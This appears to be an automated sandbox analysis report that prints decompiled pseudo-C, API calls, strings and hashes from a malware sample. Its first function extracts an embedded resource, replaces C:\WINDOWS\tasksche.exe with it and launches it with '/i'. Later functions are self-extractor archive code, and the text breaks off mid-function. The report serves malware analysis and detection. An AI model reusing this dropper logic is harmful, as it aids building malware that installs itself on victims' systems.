Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA,?,00000000), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA,?,00000000), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile,?,00000000), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle,?,00000000), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32(?,?,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00407E2C

Strings

kernel32.dll, xrefs: 00407CEA
C:\%s\%s, xrefs: 00407DFB
WriteFile, xrefs: 00407D1C
tasksche.exe, xrefs: 00407DEA
CreateProcessA, xrefs: 00407D07
WINDOWS, xrefs: 00407DF2, 00407E0D
D, xrefs: 00407ED3
CreateFileA, xrefs: 00407D0F
/i, xrefs: 00407E8D
C:\%s\qeriuwjhrf, xrefs: 00407E12
CloseHandle, xrefs: 00407D29

Memory Dump Source

Source File: 00000008.00000002.972293254.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.972284919.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972336726.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972354718.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972390140.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972511311.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972540065.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972592655.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: tasksche.exePID: 6608, Parent PID: 1404COMMON

Executed Functions

Function 0040FEF0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 189
filecomwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040FEF0(void* __edx, void* __eflags) {
				void* _v8;
				char _v12;
				struct _SYSTEMTIME _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				short _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HBITMAP__* _t43;
				void* _t57;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				void* _t70;
				void* _t76;
				void* _t90;
				void* _t91;
				WCHAR* _t92;
				struct HINSTANCE__* _t94;
				void* _t97;
				void* _t98;
				void* _t103;
				void* _t104;
				void* _t105;
				intOrPtr _t115;

				_t90 = __edx;
				E00410E1C(1);
				__imp__OleInitialize(0, _t91, _t98, _t76); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t91, 0x43a820, 0, 0x7002);
				_t105 = _t104 + 0xc;
				_t92 = GetCommandLineW();
				_t108 = _t92;
				if(_t92 != 0) {
					E0040D64B(_t108, _t92);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t92); // executed
					} else {
						_t70 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						_v8 = _t70;
						if(_t70 != 0) {
							_t97 = MapViewOfFile(_t70, 0xf001f, 0, 0, 0x7002);
							_t111 = _t97;
							if(_t97 != 0) {
								E0041C290(0, _t97, 0x7002, 0x43a820, _t97, 0x7002);
								_t105 = _t105 + 0xc;
								 *_t97 = 1;
								E0040D5F7(_t111, 0x43a822);
							}
							UnmapViewOfFile(_t97);
						}
						CloseHandle(_v8);
					}
				}
				GetModuleFileNameW(0, 0x439820, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x439820); // executed
				GetLocalTime( &_v28);
				_push(_v28.wMilliseconds & 0x0000ffff);
				_push(_v28.wSecond & 0x0000ffff);
				_push(_v28.wMinute & 0x0000ffff);
				_push(_v28.wHour & 0x0000ffff);
				_push(_v28.wDay & 0x0000ffff);
				_push(_v28.wMonth & 0x0000ffff);
				E0040BC16( &_v216, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d", _v28.wYear & 0x0000ffff);
				SetEnvironmentVariableW(L"sfxstime",  &_v216);
				_t94 = GetModuleHandleW(0);
				 *0x4335a4 = _t94;
				 *0x4335a8 = _t94; // executed
				_t42 = LoadIconW(_t94, 0x64); // executed
				 *0x43981c = _t42; // executed
				_t43 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t43; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t90, _t103, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t94, L"STARTDLG", 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t94);
				}
				E0040D0FE(0x44ce20);
				_t113 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t94, 0x439820, _t113);
				}
				DeleteObject( *0x43981c);
				_t57 =  *0x439818;
				if(_t57 != 0) {
					DeleteObject(_t57);
				}
				_t115 =  *0x4335ac; // 0x3
				if(_t115 == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t58 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t58);
					CloseHandle( *0x441868);
				}
				_t59 =  *0x441864;
				if(_t59 != 0) {
					Sleep(_t59);
				}
				__imp__OleUninitialize();
				_t60 =  *0x441860;
				if(_t60 > 0) {
					return _t60;
				} else {
					_t61 =  *0x4335ac; // 0x3
					return _t61;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040ffd0
0x0040ffd5
0x0040ffda
0x0040ffdf
0x0040ffe4
0x0040ffe9
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x0041010c
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x0041016f
0x00000000
0x0041016f

APIs

Part of subcall function 00410E1C: GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
Part of subcall function 00410E1C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

OleInitialize.OLE32(00000000), ref: 0040FF06

Part of subcall function 00411F56: GetCPInfo.KERNEL32(00000000,?,?,?,?,0040FF16), ref: 00411F67
Part of subcall function 00411F56: IsDBCSLeadByte.KERNEL32(00000000), ref: 00411F7B

_memset.LIBCMT ref: 0040FF22
GetCommandLineW.KERNEL32 ref: 0040FF2A
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0040FF50
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007002), ref: 0040FF62
UnmapViewOfFile.KERNEL32(00000000), ref: 0040FF8B

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

CloseHandle.KERNEL32(?), ref: 0040FF94
GetModuleFileNameW.KERNEL32(00000000,00439820,00000800), ref: 0040FFAE
SetEnvironmentVariableW.KERNELBASE(sfxname,00439820), ref: 0040FFC0
GetLocalTime.KERNEL32(?), ref: 0040FFC6
_swprintf.LIBCMT ref: 0040FFFD
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00410011
GetModuleHandleW.KERNEL32(00000000), ref: 00410014
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32 ref: 0041009D
DeleteObject.GDI32 ref: 004100FE
DeleteObject.GDI32(?), ref: 0041010A

Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,00000400), ref: 0040D6AC
Part of subcall function 0040D64B: CharUpperW.USER32(?,?,?,?,?,00000400), ref: 0040D6D3

CloseHandle.KERNEL32(000000FF), ref: 00410147
Sleep.KERNEL32(?), ref: 00410157
OleUninitialize.OLE32 ref: 0041015D

Strings

sfxname, xrefs: 0040FFBB
winrarsfxmappingfile.tmp, xrefs: 0040FF44
sfxstime, xrefs: 0041000C
p["u k"u, xrefs: 004100F8
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0040FFEF
STARTDLG, xrefs: 0041008F

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$CharCloseDeleteLoadObjectUpperView$AddressBitmapByteCommandDialogIconInfoInitializeLeadLineLocalMappingNameOpenParamProcSleepTimeUninitializeUnmap_memset_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$p["u k"u$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 2890863147-793245028
Opcode ID: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2C Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00402F2C(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t223;
				intOrPtr _t225;
				signed int _t229;
				void* _t231;
				void* _t232;
				unsigned int _t235;
				void* _t240;
				intOrPtr _t243;
				signed char _t246;
				char _t247;
				void* _t258;
				void* _t261;
				signed int _t267;
				signed int _t268;
				intOrPtr _t269;
				signed int* _t270;
				signed char _t271;
				void* _t274;
				signed int _t295;
				signed int _t306;
				signed int _t310;
				signed int _t327;
				signed char _t329;
				signed int _t335;
				void* _t343;
				void* _t346;
				signed int _t355;
				intOrPtr* _t360;
				signed int _t374;
				signed int _t382;
				signed int _t400;
				signed int _t404;
				signed int* _t412;
				unsigned int _t413;
				char _t416;
				void* _t434;
				void* _t443;
				signed int _t460;
				void* _t461;
				signed int _t462;
				signed char _t464;
				void* _t468;
				void* _t470;
				void* _t473;
				void* _t474;
				intOrPtr _t481;
				void* _t482;
				void* _t484;
				void* _t485;
				signed int _t494;
				void* _t497;

				_t485 = _t484 - 0x50;
				E0041A4DC(E00429589, _t482);
				E0041AAF0(0x2070);
				_push(_t479);
				_t360 = __ecx;
				E0040B736(_t482 + 0x28, __ecx);
				_t466 = 0;
				 *((intOrPtr*)(_t482 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L7:
					 *((char*)(_t482 + 0x53)) = 0;
					L12:
					_t223 = E0040B4C8(_t482 + 0x28, _t466, 7); // executed
					__eflags = _t223 - 7;
					if(__eflags < 0) {
						L5:
						E00401C37(_t360, _t460, _t496);
						L6:
						_t497 =  *(_t482 + 0x28) - _t466;
						L88:
						if(_t497 != 0) {
							_push( *(_t482 + 0x28));
							E0041A506(_t360, _t466, _t479, _t497);
						}
						_t225 = 0;
						L91:
						 *[fs:0x0] =  *((intOrPtr*)(_t482 - 0xc));
						return _t225;
					}
					 *(_t360 + 0x655c) = 0;
					_t479 = _t360 + 0x654c;
					 *_t479 = E0040B5AF(_t482 + 0x28);
					_t466 = E0040B670(_t482 + 0x28, 4);
					_t229 = E0040B60D(_t460);
					__eflags = _t229 | _t460;
					if((_t229 | _t460) == 0) {
						L86:
						E00401C80(_t360);
						L87:
						__eflags =  *(_t482 + 0x28);
						goto L88;
					}
					__eflags = _t466;
					if(_t466 == 0) {
						goto L86;
					}
					_t231 = _t229 + _t466;
					_t30 = _t231 - 3; // -3
					_t374 = _t30;
					_t31 = _t231 + 4; // 0x4
					_t466 = _t31;
					__eflags = _t374;
					if(_t374 < 0) {
						goto L86;
					}
					__eflags = _t466 - 7;
					if(_t466 < 7) {
						goto L86;
					}
					_t232 = E0040B4C8(_t482 + 0x28, _t466, _t374);
					__eflags =  *((intOrPtr*)(_t482 + 0x3c)) - _t466;
					if(__eflags >= 0) {
						 *(_t482 + 0x4c) = E0040B716(_t232, _t482 + 0x28);
						 *((intOrPtr*)(_t360 + 0x6550)) = E0040B60D(_t460);
						_t235 = E0040B60D(_t460);
						 *(_t360 + 0x6554) = _t235;
						 *(_t360 + 0x655c) = _t235 >> 0x00000002 & 0x00000001;
						 *((intOrPtr*)(_t360 + 0x6544)) =  *((intOrPtr*)(_t360 + 0x6550));
						__eflags =  *_t479 -  *(_t482 + 0x4c);
						 *(_t360 + 0x6558) = _t466;
						 *((char*)(_t482 + 0x4b)) =  *_t479 !=  *(_t482 + 0x4c);
						__eflags =  *((char*)(_t482 + 0x4b));
						if( *((char*)(_t482 + 0x4b)) == 0) {
							L22:
							_t466 = 0;
							__eflags =  *(_t360 + 0x6554) & 0x00000001;
							 *(_t482 + 0x18) = 0;
							 *(_t482 + 0x1c) = 0;
							if(( *(_t360 + 0x6554) & 0x00000001) == 0) {
								L27:
								__eflags =  *(_t360 + 0x6554) & 0x00000002;
								 *(_t482 + 0x20) = _t466;
								 *(_t482 + 0x24) = _t466;
								if(( *(_t360 + 0x6554) & 0x00000002) != 0) {
									 *(_t482 + 0x20) = E0040B60D(_t460);
									 *(_t482 + 0x24) = _t460;
								}
								_t240 = E004010D4(_t360,  *(_t360 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								asm("adc ecx, [ebp+0x24]");
								 *((intOrPtr*)(_t360 + 0xb048)) = _t240 +  *((intOrPtr*)(_t360 + 0xb040)) +  *(_t482 + 0x20);
								_t243 =  *((intOrPtr*)(_t360 + 0x6550));
								 *((intOrPtr*)(_t360 + 0xb04c)) = 0;
								__eflags = _t243 - 1;
								if(__eflags == 0) {
									_t468 = _t360 + 0x6570;
									E00409B19(_t468);
									_t382 = 5;
									memcpy(_t468, _t479, _t382 << 2);
									_t466 = _t479 + _t382 + _t382;
									_t246 = E0040B60D(_t460);
									 *(_t360 + 0xb055) = _t246 & 0x00000001;
									 *(_t360 + 0xb054) = _t246 >> 0x00000002 & 0x00000001;
									 *(_t360 + 0xb057) = _t246 >> 0x00000004 & 0x00000001;
									 *(_t360 + 0xb05b) = _t246 >> 0x00000003 & 0x00000001;
									 *((char*)(_t360 + 0xb058)) = 0;
									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, "CMT");
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
